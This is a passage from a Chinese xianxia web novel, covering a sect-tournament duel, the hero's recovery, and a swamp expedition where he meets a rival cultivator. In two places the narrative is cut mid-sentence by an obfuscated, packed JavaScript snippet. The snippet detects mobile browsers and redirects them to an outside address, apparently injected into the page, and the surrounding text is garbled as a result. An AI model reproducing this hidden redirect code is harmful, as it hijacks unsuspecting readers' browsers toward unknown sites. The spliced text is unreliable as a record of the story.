“噗!” 剑罡穿透了林家铭的左腹侧面,带出一蓬血雨,留下一个前后透亮的血洞!重伤! 但,他没死!也没被震下台! 更关键的是,在他旋转身体、引导偏转剑罡的同时,他那一直藏在袖中、扣着机括的左手,因为身体的剧烈动作和角度变化,“不小心” 对准了楚云因为剑罡被引偏、身体出现极其短暂前倾和重心微调的瞬间! “咔哒!” 机括轻响! 一道乌光,不是射向楚云的要害,而是射向了他因为前倾而微微抬起的右脚脚踝! 那里,是护体剑罡相对薄弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林家铭……输了?可他重伤垂死前,竟然用如此凶悍不要命的方式,硬是让楚云也付出了惨重代价! 这算什么?两败俱伤?惨胜? 裁判长老也懵了,看了看倒地不起、血流不止的林家铭,又看了看捂着手臂、满脸是血、站立不稳的楚云,一时竟不知该如何判定。 按照规则,林家铭倒地不起,失去战斗力,应判负。但楚云也受了不轻的伤,且严格来说,林家铭在倒地前完成了反击…… 就在这时,高台上一道身影如鬼魅般飘落擂台,正是凌霄真君。他依旧是那副邋遢样子,但此刻脸上没什么表情。 他看都没看楚云,径直走到林家铭身边,蹲下检查了一下,掏出一颗散发着清香的丹药塞进林家铭嘴里,又连点他几处穴道止住流血。 “还没死透。”凌霄真君嘀咕一句,然后起身,看向裁判和天枢峰方向那位脸色铁青的长老,“我徒弟,我带走了。这场,算他输。” 说完,不等众人反应,他袖袍一卷,将昏迷的林家铭和地上那块染血的石板一同卷起,化作一道灰光,瞬息间消失在揽月峰方向。 留下全场面面相觑。 裁判长老回过神来,看了看脸色难看、正在运功逼毒疗伤的楚云,又看了看地上那一大滩触目惊心的血迹,高声道:“四强战第一场,天枢峰楚云,胜!晋级决赛!” 声音落下,台下才爆发出巨大的喧哗。议论声、惊叹声、咒骂声不绝于耳。 这一战,没有真正的胜利者。楚云虽晋级,但受伤不轻,必然影响决赛。林家铭虽败,却以一种极其惨烈凶狠的方式,给所有人留下了难以磨灭的印象。 “那家伙……真是个疯子!” “对自己也这么狠?” “最后那一下板砖……楚师兄的脸……” “揽月峰的人,都这么不要命的吗?” 周圆三人看着那摊血迹,脸色苍白,又是心疼又是后怕。 --- 揽月峰,林家铭的小院。 凌霄真君将昏迷不醒、气息微弱的林家铭放在床上。他仔细检查了腹部的贯穿伤,又探查了一下经脉和丹田。 “啧啧,剑罡穿腹,经脉受损,灵力枯竭……不过混沌灵根倒是坚韧,生机未绝。”他摸了摸下巴,又拿出几颗丹药,捏碎,混合着一种绿色的药膏,敷在伤口上。那药膏一接触伤口,血肉便以肉眼可见的速度缓慢蠕动、愈合,效果惊人。 做完这些,他坐在床边,拿起那块染血的石板看了看,又随手丢在一边。 “臭小子,让你去‘露脸’,没让你去玩命。”他低声骂了一句,但眼中并无多少责怪,反而有一丝……欣赏? “不过,那块‘镇界石’碎片,用得倒是有点意思。引偏剑罡……嘿,有点歪才。”他笑了笑,起身,从怀里掏出一个小玉瓶,倒出一滴晶莹剔透、散发着混沌色氤氲气息的液体,滴入林家铭口中。 那液体入口即化,化作一股温和却磅礴的混沌气流,迅速涌入林家铭干涸的经脉和丹田,开始修复损伤,滋养那团几乎溃散的混沌气旋。 “为师也就这点‘混沌源液’了,省着点用。”凌霄真君嘀咕着,转身离开房间,“能吸收多少,看你自己的造化。醒了记得去寒潭底把上次没拿完的‘垃圾’搬回来……” 声音渐远。 床上,林家铭苍白的脸上,眉头无意识地蹙紧又松开,体内那滴“混沌源液”正缓缓发挥作用,与他的混沌灵根产生着奇妙的共鸣。而他昏迷的意识深处,似乎有无数混乱的光影和破碎的符文在闪烁、重组…… 那块名为“镇界石”碎片的石板,静静地躺在地上,表面的血迹已经干涸,那些模糊的纹路,在窗外透入的月光下,仿佛比平时清晰了那么一丝丝。 7. 捡垃圾,换地图,遇“贵人” 林家铭在床上躺了七天。 这七天,他大部分时间处于半昏半醒之间。腹部的贯穿伤疼得钻心,但更难受的是经脉里那股横冲直撞、却又带着勃勃生机的奇异力量。他知道那是师父塞进来的东西,在粗暴地修复他破烂的身体,同时也在拓宽、锤炼他那些细弱的经脉。 疼是真疼,像有无数把小锉刀在里面来回打磨。爽也是真爽,能清晰感觉到力量在缓慢回流,甚至比受伤前更精纯、更有力。 第八天早上,他睁开了眼。 阳光透过窗棂,灰尘在光柱里跳舞。腹部的伤口只剩下一条淡粉色的新肉疤,微微发痒。他尝试动了动手指,体内灵力流转,虽然还有些滞涩,但远比之前凝实、浑厚。 “炼气三层……成了。”他感知着丹田内那团明显壮大、色彩流转更显规律的混沌气旋,咧了咧嘴,牵动了脸上干涸的血痂。 没死,还升级了。血赚。 床边地上,那块救了他命的灰石板安静地躺着,上面的血迹已经变成深褐色。他伸手拿起来,入手依旧冰凉沉重。这次他看得更仔细了些,那些模糊的纹路,在阳光下似乎……真的比之前清楚了一点点?不是错觉,有些线条的末端,隐约出现了极其细微的分叉。 “谢了,板砖兄。”他拍了拍石板,随手塞进储物袋。师父说这玩意儿叫“镇界石”碎片?听着就牛逼,虽然还是不知道咋用,但能挡剑罡能拍人脸,就是好宝贝。 破蒲扇放在床头,扇面上被楚云剑气割出的几道白痕还在,但整体无恙。他拿起来扇了扇,风微弱,但扇过经脉时,似乎能带来一丝极细微的清凉平复感。好东西,得收好。 “醒了就滚起来。”凌霄真君的声音从门外传来,人却没进来,“寒潭底下还有几袋‘好东西’,自己去搬。搬不完就别回来了,丢人。” 林家铭翻身下床,活动了一下筋骨,换上一身干净的旧弟子服。推开房门,外面阳光刺眼。 他没急着去寒潭,先去了一趟外门弟子聚居区。 周圆、赵铁柱、钱富贵三人正在院子里对着一堆符纸和材料发愁,吴耗子蹲在角落晒草药。看到林家铭出现,四人又惊又喜。 “林师兄!你好了?!”周圆冲过来,眼圈有点红。 “嗯,死不了。”林家铭笑了笑,从怀里(其实是储物袋)掏出四张新画的、用突破后更凝练的混沌灵力加持过的“护身符”,递给四人,“拿着,最近不太平,防身。” 这符是他躺床上时,用意念在识海里反复推演画成的,融入了混沌灵力的“隐匿”、“缓冲”、“混淆”特性,效果比之前的“小清风符”强了不止一筹。 吴耗子接过符箓,手有点抖,低声道:“林师兄,我……我给你添麻烦了。” “屁话。”林家铭揉了揉他枯黄的头发,“记着,咱们不惹事,但事儿来了也别怕。好好修炼,好好看书。”他瞥见吴耗子怀里那本《山川异志录》破得更厉害了,随手又丢给他两块下品灵石,“去买本新的,旧的就别看了,容易眼花。” 周圆三人看着林家铭,感觉师兄有点不一样了。还是那副随和样子,但眼神深处多了点东西,像寒潭的水,表面平静,底下深沉。 “师兄,你要去参加五宗小会吗?”钱富贵机灵地问。 “大概吧。”林家铭不置可否,“你们好好待着,我出门办点事。” 他没说太多,转身离开。朋友要交,但路得自己走。他现在这点本事,还远不够把他们都护在羽翼下。 --- 寒潭底比想象中更冷,光线昏暗。林家铭运转混沌灵力护体,才勉强抵御那刺骨的寒意。潭底散落着几个更大的、更加破旧的皮袋,还有一些零零碎碎、奇形怪状的东西半埋在淤泥里。 他花了半天时间,把能搬动的都拖了上来。除了更多、更杂、能量更狂暴的“高级垃圾”之外,还有几件“新品”: 一截焦黑如炭、却隐隐有雷纹闪动的断木。 一个锈死了的、巴掌大的青铜罗盘,指针歪斜。 几块颜色暗淡、刻着残缺符文的骨片。 还有一把……断了弦的二胡。琴筒都裂了缝。 林家铭看着这堆名副其实的“破烂”,沉默了三秒,然后毫不犹豫全部收进储物袋。师父的垃圾,就是他的宝藏。回去慢慢研究。 就在他收拾完,准备离开寒潭时,目光忽然被潭边一块不起眼的、半埋在鹅卵石下的黑色石头吸引。那石头拳头大小,通体黝黑,表面光滑,但细看之下,似乎有极其淡的、水波状的纹路。 他捡起来,入手温润,不像普通石头冰凉。混沌灵力探入,感应到的不是混乱能量,而是一种极其沉静、包容、近乎“无”的状态。但这“无”中,又仿佛蕴含着孕育一切的“有”。 “这又是什么玩意儿?”林家铭掂了掂,没看出名堂,但也收了起来。寒潭边的东西,捡了再说。 回到小院,他把新得的“垃圾”分类放好。断木雷纹隐隐,可能和雷属性有关;青铜罗盘锈死,但材质不凡;骨片符文残缺,气息古老;二胡……嗯,可以和唢呐凑个“阴间乐队”。 他拿起那块黑色石头,在手里把玩。忽然心念一动,尝试将一丝混沌灵力注入其中,模拟“水”的柔和与渗透。 石头表面的水波状纹路,极轻微地亮了一下,随即恢复原状。但就在那一瞬间,林家铭感觉自己与周围的水汽(包括空气中、地下的)产生了一丝微弱的联系,仿佛能稍微感知到它们的流动和状态。 “咦?能辅助感知水汽?或者……水系灵气?”林家铭来了兴趣。这功能看似鸡肋,但在特定环境(比如水域、雨季、雾区)说不定有奇效。他给这石头起了个名:“黑水石”,单独收好。 刚整理完,一道正式的宗门传讯符飞入院中。 “内门弟子林家铭,鉴于尔于小比中表现……特准参与三月后‘天陨五宗小会’。然参会者需经考核,现命尔于十日内,前往宗门西北三千里外‘黑风沼泽’,探查近期沼泽异动根源,并收集‘腐骨灵花’三株以上。任务完成,方可正式获得小会资格。任务详情及地图,已存于执事堂,自行领取。不得有误。” 传讯符燃烧殆尽。 “黑风沼泽?腐骨灵花?”林家铭摸了摸下巴。这任务听起来就一股坑爹味儿。沼泽异动,通常伴随着毒瘴、凶兽、诡异地形,还有可能撞上其他势力的人。腐骨灵花则是生长在阴秽之地的毒草,可用于炼制某些阴毒丹药或作为特殊材料,不算特别珍贵,但采摘有风险。 考核?怕是某些人想借沼泽里的东西,或者借其他势力的手,让他“意外”消失吧。 “行吧,正好试试新本事,顺便……”他眼里闪过一丝光,“搞点外快,见见世面。” 他先去执事堂领取了详细任务卷轴和地图。卷轴上除了基本信息和地图,还有几句模糊的警告:“近日黑风沼泽雾气颜色有异,疑似有不明势力活动,谨慎。”“腐骨灵花附近常有‘铁线腐尸鳄’群居,小心。” 不明势力?林家铭记住了这一点。 接着,他用最后几块下品灵石,去坊市补充了劣质辟谷丹,又买了几种廉价但实用的解毒剂、驱虫粉。至于更高级的装备?没钱。只能靠师父的“遗产”和自己了。 他花了两天时间准备: ·用新得的“高级垃圾”中偏向“毒”、“腐蚀”属性的材料,强化了“晦芒”短刃的破防和侵蚀效果。 ·改进了“臭云弹”,加入沼泽特有的几种刺激性毒草粉末,增强在潮湿环境下的持久性和迷惑性。 ·用那截焦黑雷纹断木的少许碎末,混合其他材料,尝试制作了几枚极不稳定的“掌心雷”——爆炸威力未知,哑火概率极高,但万一响了,估计挺吓人。 ·研究了新得的骨片符文,虽然看不懂,但强行记下几个看起来像“坚固”、“锋锐”、“隐匿”的残缺结构,尝试用混沌灵力临摹,效果时灵时不灵,但偶尔能在“晦芒”或石板上留下短暂加成。 ·那把二胡……他试着修了修,换了根兽筋当弦,勉强能拉响,声音凄厉得像鬼哭。他用混沌灵力模拟“哀伤”、“迟缓”意念融入音调,发现对低智生灵(如沼泽毒虫)有一定驱散效果。行,也算个范围驱虫器了。 · “黑水石”贴身放好,说不定在沼泽里能预警水源或水汽异常。 准备妥当,他将破蒲扇、灰石板(镇界石)、唢呐、二胡、各种暗器毒粉分门别类藏好,背上一个不起眼的旧包袱,里面主要是辟谷丹和伪装用品。 临行前,他去了趟揽月峰主殿。殿门紧闭,师父不知道又去哪儿云游(或睡觉)了。 他对着大殿方向,规规矩矩磕了三个头。 “师父,弟子出门了。青岚宗是弟子来的地方,师父是弟子的引路人。甭管别人怎么想,这份情,弟子记着。丢不了您的脸,也吃不了亏。” 说完,起身,头也不回地下了山。 他没有用宗门提供的低级飞行符(那玩意儿慢还耗灵石),而是靠两条腿,结合混沌灵力对身体的加持和那套诡谲步法,在山林间疾行。速度不慢,还能锻炼身法和灵力控制。 三千里路,对炼气三层修士而言不算近,但也不至于走很久。五天后,林家铭风尘仆仆地抵达了黑风沼泽边缘。 一片望不到尽头的、灰黑色调的湿地映入眼帘。空中漂浮着淡灰色的瘴气,味道腥腐。扭曲的枯树立在浑浊的水洼中,水面上冒着咕嘟咕嘟的气泡。远处传来不知名虫豸的嗡鸣和偶尔的兽吼。 地图显示,腐骨灵花通常生长在沼泽深处的“腐骨林”一带。而最近有异动的区域,则标注在沼泽更西侧的“雾鬼潭”附近。 “先找花,顺便看看异动是啥。”林家铭定了计划,服下一颗廉价解毒丹,激活“黑水石”的微弱感知(主要用来预警地下暗流和有毒水洼),小心翼翼踏入沼泽。 沼泽里危机四伏。毒虫、潜伏的鳄鱼、吞噬人的泥潭、带刺的毒藤……林家铭靠着“黑水石”的预警、二胡凄厉的驱虫音、以及灵活的步法,有惊无险地深入。 两天后,他接近了“腐骨林”。那是一片被苍白雾气笼罩的枯木林,树木枝干扭曲,如同骸骨。空气中弥漫着浓烈的腐败气味和淡淡的灵气——腐骨灵花的气味。 他屏息凝神,正要靠近探查,忽然耳朵一动。 前方雾气中,传来打斗声,还有呼喝。 “快!拦住它!这株灵花快成熟了!” “小心它的毒液!” “那边还有一只!该死,怎么这么多铁线鳄!” 林家铭悄无声息地摸到一块巨大的腐木后面,探头看去。 只见前方一片稍微干爽的空地上,三四个穿着统一青色劲装、袖口有火焰纹饰的修士,正与七八头体型硕大、皮如铁甲、口喷毒涎的“铁线腐尸鳄”激战。这些鳄鱼每一头都有炼气二、三层的实力,皮糙肉厚,力大无穷,口中喷出的毒液能腐蚀灵力。 那几个修士修为都在炼气三四层左右,配合还算默契,但被鳄鱼群围攻,显得有些狼狈。空地中央,一株散发着惨白色光芒、形如骷髅手掌的花朵正在缓缓绽放——正是腐骨灵花,而且即将成熟! “离火宗的人?”林家铭认出了那火焰纹饰。离火宗也是天陨山脉五大宗之一,以火法闻名,和青岚宗关系一般,时有竞争。 他目光扫过战场,最后落在离火宗弟子身后不远处,一块半浸在泥水里的岩石上。那里,赫然躺着两株已经成熟的腐骨灵花,似乎是被战斗波及掉落的,还没来得及被收起。 “鹬蚌相争……”林家铭眼睛眯了起来。他对直接从离火宗弟子手里抢没兴趣(容易结死仇),但捡个漏……不过,那些铁线鳄有点麻烦。 他耐心等待着。离火宗弟子和鳄鱼群打得越发激烈,双方都出现了伤亡。一名离火宗弟子被鳄鱼尾巴扫中,吐血倒飞,正好落在那块岩石附近,挣扎着想去拿那两株灵花。 就在这时,鳄鱼群中最大的一头,似乎是头领,猛地撞开一名离火宗弟子,血盆大口直接咬向那个受伤弟子! 那弟子面露绝望。 林家铭动了。 他没有冲出去,而是从储物袋里摸出一个小皮囊,用巧劲朝着那头鳄鱼头领和受伤弟子之间的空地奋力一掷! 皮囊在空中划出弧线,“啪”地砸在泥水里。 不是“臭云弹”,而是他特制的、加了沼泽毒草粉末的加强版“混沌灰”! 一大蓬灰黑色、带着刺鼻腥臭和强烈麻痹效果的粉末在湿润的空气中猛地爆开,瞬间笼罩了那片区域!粉末遇水不散,反而粘附性更强! 鳄鱼头首当其冲,被糊了一脸,吸入不少,动作顿时一僵,眼睛也被迷住,发出愤怒的嘶吼,在原地胡乱摆头。那名受伤弟子也被波及,咳嗽不止,视线模糊。 其他离火宗弟子和鳄鱼也被这突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189068|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如其来的变故惊了一下。 就是这瞬间的混乱! 一道如同鬼魅般的影子,从腐木后闪出!速度极快,步法诡异地绕开战场边缘,贴着泥泞地面滑行般,精准地掠过那块岩石! 影子掠过,岩石上那两株成熟的腐骨灵花已然消失不见! 影子毫不停留,直接没入另一侧的浓雾之中,消失得无影无踪,只留下淡淡的、混杂着灰粉的腥臭味。 整个过程不到三息。快、准、狠,且毫无烟火气。 等到灰粉稍微散去,离火宗弟子击退了那头暂时失明的鳄鱼头领,再看向岩石时,哪里还有灵花的影子? “谁?!谁干的!”一个看起来是领队的离火宗弟子又惊又怒,四处张望,只看到茫茫雾气和重新虎视眈眈的鳄鱼群。 “刚才……好像有个影子……” “是其他宗门的人?还是散修?” “别管了!先对付这些畜生!小心还有埋伏!” 离火宗弟子又惊又疑,只能咬牙继续与鳄鱼群缠斗。 远处浓雾中,林家铭靠在一棵枯树后,手里把玩着两株冰凉滑腻、散发着阴冷灵气的腐骨灵花,嘴角勾起。 “任务要求三株,这就有两株了。开门红。”他将灵花小心封存好,收入储物袋特制的玉盒(便宜货)。 他没打算继续掺和离火宗和鳄鱼的战斗。正准备悄然后退,去别处寻找第三株灵花,甚至去“雾鬼潭”看看异动时—— “嗖!” 一道细微的、几乎融入风声的破空声,从侧后方极速袭来!直取他后心! 偷袭! 林家铭汗毛倒竖,混沌灵力瞬间爆发,身体以不可思议的角度向侧前方扑倒! “笃!” 一枚闪烁着幽蓝光泽、造型奇特的菱形飞镖,深深钉入他刚才倚靠的枯树树干,入木三分!飞镖周围的树皮瞬间泛起黑色,发出“滋滋”的腐蚀声! 有毒!而且出手狠辣,直奔要害! 林家铭翻滚起身,手中已扣住“晦芒”短刃和一把“混沌灰”,眼神冰冷地看向飞镖射来的方向。 浓雾缓缓散开一些,一个身影倚在不远处另一棵扭曲的枯树下,抱着手臂,好整以暇地看着他。 那是个看起来十七八岁的少年,穿着暗红色的劲装,袖口有隐约的火焰纹饰,但颜色更深,近乎黑色。头发随意束着,额前垂下几缕碎发,面容颇为英俊,但眉宇间带着一股玩世不恭的桀骜,眼神却很亮,带着审视和……一丝戏谑。 “身手不错嘛,青岚宗的朋友。”少年开口,声音清朗,却带着点懒洋洋的调子,“捡漏捡得挺顺手。见面分一半,不懂规矩?” 林家铭没放松警惕,灵力暗自运转,脸上却露出恰到好处的惊讶和无辜:“这位道友何出此言?我只是路过,看见有争斗,怕被波及,躲远了些而已。什么捡漏?” “装,继续装。”少年嗤笑一声,指了指林家铭的储物袋,“腐骨灵花独有的阴灵气,隔着袋子我都闻到了。刚才那手‘雾里看花,顺手牵羊’,玩得漂亮啊。灰粉也挺特别,居然能迷住铁线鳄。” 林家铭心中一凛。这家伙好敏锐的感知!而且一直潜伏在附近,自己竟未提前察觉! “道友是离火宗的?”林家铭试探道,目光扫过他袖口那不显眼的暗火纹。 “算是吧。”少年不置可否,向前走了两步,上下打量着林家铭,“青岚宗……我想想,最近听说你们那儿出了个挺有意思的家伙,用唢呐和板砖,把沈剑那冰块脸都给拍肿了。不会……就是你吧?” 他眼神里的戏谑更浓了,还带着点好奇。 林家铭心里骂了句师父的情报网(或者说是自己太出名),面上却不动声色:“些许虚名,让道友见笑了。不知道友如何称呼?刚才那一镖,可是差点要了在下的命。” “我叫萧炎。”少年随口道,似乎并不在意名字真假,“那一镖嘛,试试你的成色。你要真那么菜,被毒死了,那两株灵花我拿了也算替你省事。” ……这什么混蛋逻辑?林家铭嘴角抽了抽,但莫名觉得……这风格好像有点对胃口?当然,该防备的一点不能少。 “萧道友试也试过了,意下如何?”林家铭握紧了短刃。 “不如何。”萧炎耸耸肩,“我对那两株花兴趣不大。我对你……和沼泽西边雾鬼潭的‘热闹’,比较感兴趣。” 雾鬼潭?异动根源? “道友知道雾鬼潭发生了什么?”林家铭问。 “知道一点。”萧炎笑了笑,笑容里有些别的东西,“那里最近来了些‘客人’,不太安分。弄出的动静,把沼泽里一些老东西都惊动了。离火宗派了队傻子过来查看,青岚宗也派了你……哦,还有其他人。挺热闹的。” 他顿了顿,看着林家铭:“怎么样,有兴趣一起去看看‘热闹’吗?一个人探路多无聊,两个人,互相有个照应……也方便互相‘照应’。” 他把“照应”两个字咬得有点重。 林家铭脑子飞速转动。这个萧炎,实力不明(刚才那一镖速度极快),背景可疑(离火宗,但气质不像普通弟子),目的不明(对灵花没兴趣,却对雾鬼潭和“自己”有兴趣)。危险人物。 但,也是机会。他对雾鬼潭异动了解可能更多,实力可能更强,是个不错的临时“向导”和“挡箭牌”。至于互相算计……谁怕谁? “行啊。”林家铭也笑了,收起短刃,拍了拍身上的灰,“多个朋友多条路。不过萧道友,事先说好,看热闹归看热闹,要是发现什么好东西……” “各凭本事,能者居之。”萧炎接口,眼中闪着光,“当然,背后捅刀子的话,看谁刀快。” “成交。”林家铭伸出手。 萧炎看了他一眼,也伸出手,两人虚握了一下,一触即分。 “那就走吧,‘板砖兄’。”萧炎转身,朝着沼泽更深处走去,步伐轻快,“让我看看,你到底有多少‘惊喜’。” 林家铭跟了上去,保持着不远不近的距离。 浓雾再次合拢,将两人的身影吞没。腐骨林中的战斗声渐渐远去,新的、更加莫测的冒险,刚刚开始。 青岚宗的感恩与羁绊放在心底,眼前的沼泽、神秘的盟友(或对手)、以及雾鬼潭未知的“热闹”,才是他此刻需要面对的棋盘。 而他的筹码,是满袋子的“垃圾”,和一肚子的“鬼点子”。 8. 雾鬼潭的“热闹”与捡来的“麻烦” 黑风沼泽深处的雾气,颜色渐渐从灰白转向一种不祥的暗绿色。空气粘稠得仿佛能拧出水,腐败的气味里,开始掺杂进一丝若有若无的、更令人心悸的甜腥。 萧炎走在前面,脚步看似随意,却总能避开那些颜色格外深浊的水洼和潜伏在泥下的微微蠕动。他对这片沼泽的熟悉程度,显然远超拿着粗劣地图的林家铭。 林家铭跟在后面,保持着三步的距离,灵力收敛,但感知全开。“黑水石”贴在胸口,传来一阵阵微弱的、对前方浓郁水汽和其中隐含毒素的警示凉意。他左手缩在袖中,扣着两枚“掌心雷”(虽然对爆炸几率不抱太大希望),右手自然下垂,随时能抽出“晦芒”或洒出“混沌灰”。 两人一路无话,只有脚踩在湿滑泥泞和腐叶上的细微声响,以及远处不知名虫豸愈发尖锐的鸣叫。 “前面就是雾鬼潭的外围了。”萧炎忽然停下,头也不回地说道,声音压得很低,“动静是从潭心岛传来的。现在这外围,估计也不怎么干净。” 林家铭顺着他示意的方向看去。雾气更浓了,几乎遮蔽了所有视线。但在那翻滚的浓雾深处,隐约有几点惨绿色的磷火般的光点幽幽闪烁,忽明忽灭。 “那是‘鬼面磷蕈’,一种毒蘑菇,散发的孢子能让人产生幻觉,麻痹神经。”萧炎解释了一句,从怀里摸出一个小巧的鼻烟壶似的东西,放在鼻子下嗅了嗅,然后扔给林家铭,“含着,能提神,防一般的瘴毒。高级货,别弄丢了。” 林家铭接住,入手温润,是某种玉石雕刻而成。他打开嗅了嗅,一股辛辣清凉直冲天灵盖,脑子瞬间清醒不少,连周围那甜腥味都淡了。他没多问,道了声谢,含在舌下。 “跟紧点,这里的路不是用眼睛看的。”萧炎说完,身形一晃,便没入浓雾。他的步法也很奇特,不是直线,而是沿着某种曲折的、仿佛避开无形障碍的路线前进。 林家铭不敢怠慢,全力施展那套自创的诡谲步法,同时将一丝混沌灵力注入双眼,试图看穿迷雾。效果有限,但至少能勉强捕捉到萧炎留下的一抹几乎消散的残影和空气中极其微弱的火灵气波动(萧炎似乎有意留下这点痕迹)。 越往里走,环境越诡异。扭曲的树木枝干上开始出现类似人脸的木瘤,脚下松软的泥土里不时踩到坚硬光滑的东西——是某种大型生物的骨骸碎片。那“鬼面磷蕈”越来越多,绿色的幽光连成一片,在雾气中晃动,仿佛无数双窥视的眼睛。 “嘶嘶——” 细微的、仿佛蛇类游动的声音从四面八方的雾气中传来,忽左忽右,难以辨别方位。 萧炎忽然停住,举手示意。林家铭立刻屏息凝神。 前方雾气略微稀薄处,出现了一片不大的、被惨绿色磷光笼罩的林地。林地中央,赫然躺着几具尸体! 从服饰上看,不是离火宗,也不是青岚宗。穿着制式的黑色皮甲,胸口有一个狰狞的兽头标志,但兽头被利器划烂了。尸体周围散落着断裂的兵刃和几张激发过的、灵光黯淡的符箓。死状凄惨,有的浑身发黑肿胀,像是中了剧毒;有的胸口被掏开一个大洞,内脏不翼而飞;还有的脖子扭曲成诡异的角度,脸上凝固着极致的恐惧。 空气中弥漫着浓重的血腥味和一股……淡淡的、类似铁锈和腐朽金属混合的怪味。 “是‘黑煞门’的人。”萧炎走到一具尸体旁,用脚尖挑了挑那破烂的兽头标志,语气带着点讥诮,“一个专干杀人夺宝、绑架勒索勾当的邪道小门派,上不得台面。居然也敢摸到这里来送死。” 林家铭走近观察。这些死者修为多在炼气三四层,装备也算精良,却几乎没什么像样的反抗痕迹就被屠戮了。杀他们的东西,速度极快,力量奇大,而且带着剧毒或某种腐蚀性能量。 “不是妖兽。”萧炎检查着伤口,眉头微皱,“伤口边缘有细微的融化迹象,残留的灵力波动很混乱,带着死气……像炼尸,又不完全像。” 炼尸?林家铭心里一沉。这玩意儿可比妖兽难缠多了。 “看来‘热闹’比想象中还大。”萧炎直起身,看向雾鬼潭更深处的方向,眼神闪烁,“连这种臭水沟里的老鼠都引来了,还死得这么干脆……” 话音未落,异变陡生! “嗖!嗖!嗖!” 三道黑影毫无征兆地从旁边一株巨大的、长满鬼面磷蕈的枯树树冠中激射而出!速度快得如同黑色闪电,直扑最近的萧炎和林家铭! 是三条通体黝黑、布满细密鳞片、头生独角的怪蛇!蛇眼猩红,口中喷吐着墨绿色的毒雾,獠牙在磷光下闪着幽蓝的光泽! “铁线蝰蛇!小心毒雾!”萧炎低喝一声,不见他如何动作,手中已多了一柄短刃,刃身赤红,带着灼热气息,挥手间斩出一道火焰弧光,将扑向他的两条怪蛇逼退,火焰与毒雾接触,发出“嗤嗤”的响声,腥臭扑鼻。 扑向林家铭的那一条,角度更为刁钻,几乎是贴地弹射,毒牙直咬他脚踝! 林家铭早有防备,在黑影扑出的瞬间,身体已向后滑步,同时左手一挥,一把“加强混沌灰”迎头洒出! 怪蛇冲入灰雾,动作果然一滞,鳞片上沾满了灰色粉末,发出烦躁的嘶嘶声。但它似乎对毒素抗性极高,只是甩了甩头,速度稍减,依旧狠狠咬来! 林家铭眼神一冷,不退反进,右脚猛地跺地,身体侧旋,险之又险地避开蛇吻,右手“晦芒”短刃如同毒蝎摆尾,从下往上,精准地刺入怪蛇下颌与脖颈连接的薄弱处! “噗!” 短刃入肉,混沌灵力带着“侵蚀”、“破甲”的意念爆发! 怪蛇身体猛地一僵,猩红的蛇眼中闪过一丝拟人化的痛苦和暴怒,粗壮的蛇身疯狂扭动,想将短刃甩脱。但“晦芒”刺入的位置极其刁钻,混沌灵力更是在它体内乱窜,破坏生机。 林家铭得手即退,绝不纠缠。同时左手在腰间一抹,唢呐已在嘴边——不是吹“破魂”或迷幻调,而是吹出一个极其尖锐、高频的单音! 音波凝聚如针,带着模拟“金铁震颤”的混沌灵力,直接刺向怪蛇的头部! 怪蛇本就受创,被这直击灵魂(虽然它可能没多少灵魂)的尖锐音波一冲,动作再次僵直,扭动的幅度都小了。 另一边,萧炎也已解决了另外两条怪蛇。他的短刃火焰炽烈,似乎对怪蛇的鳞甲有额外伤害,很快将两条蛇斩成数段,焦臭弥漫。 他看向林家铭这边,见林家铭用如此“阴损”且高效的方式快速重创一条铁线蝰蛇,眼中讶色一闪而过,随即吹了声口哨:“配合不错嘛,板砖兄。这玩意儿全身是宝,蛇胆、毒牙、独角都能卖点钱,别浪费。” 林家铭没理会,趁着怪蛇被音波干扰,上前补了一刀,彻底了结它。这才小心地取下蛇胆、毒牙和独角,收入储物袋(特意用玉盒分开装,怕污染其他东西)。至于蛇尸,他想了想,用短刃切下几块相对完好的、蕴含毒素和阴气的肉,也收了起来——说不定以后能用来做更毒的“臭云弹”或者喂给某些特殊“垃圾”? “你这收集癖……还挺特别。”萧炎看着他的动作,嘴角抽了抽。 “勤俭持家。”林家铭面不改色。 处理完战利品,两人更加警惕。铁线蝰蛇的出现,意味着他们已经非常接近危险区域。 继续前行,尸体开始增多。除了黑煞门的,又出现了几具穿着其他样式服饰的散修尸体,死状同样凄惨。打斗的痕迹也越来越明显,被腐蚀的树木、炸开的地面、冻结的泥浆(冰系法术残留)、以及更多那种铁锈腐朽的怪味。 “看来不止一拨人在前面打。”萧炎判断,“而且,杀他们的东西,越来越多了。” 正说着,前方浓雾突然剧烈翻滚,传来一阵金铁交鸣的激烈打斗声,以及几声惊怒的呼喝,其中夹杂着离火宗弟子特有的呼喝和火焰爆裂声! “是我们离火宗的人!在跟什么东西交手!”萧炎脸色微变,加快速度冲了过去。 林家铭犹豫了一瞬,也跟了上去。离火宗的人遇险,对他没坏处,但或许能窥见更多“热闹”的真相。 穿过一片被摧残得不成样子的磷蕈林,眼前豁然出现一片相对开阔的黑色泥滩。泥滩边缘,就是一片深邃如墨、死气沉沉的潭水——雾鬼潭。 此刻,泥滩上正爆发一场混战。 约莫七八个离火宗弟子(正是之前在腐骨林与鳄鱼战斗的那一队,但人数似乎少了两个),正背靠背结成一个简陋的防御阵型,奋力抵挡着超过二十个黑影的围攻! 那些黑影,形态各异,有人形,也有兽形,但无一例外,全身都覆盖着一种暗沉、仿佛生锈金属般的甲壳或皮肤,关节处有诡异的黑色纹路流动。它们动作僵硬却迅捷,力大无穷,爪子锋利,口中还能喷吐黑色的、带有腐蚀性的雾气或粘液。 是魔傀!一种用尸体、金属和魔气炼制而成的战争傀儡,没有痛觉,不知疲倦,只知杀戮!而且看其炼制手法和散发的气息,绝非普通魔道手段,透着一种古老而邪恶的味道。 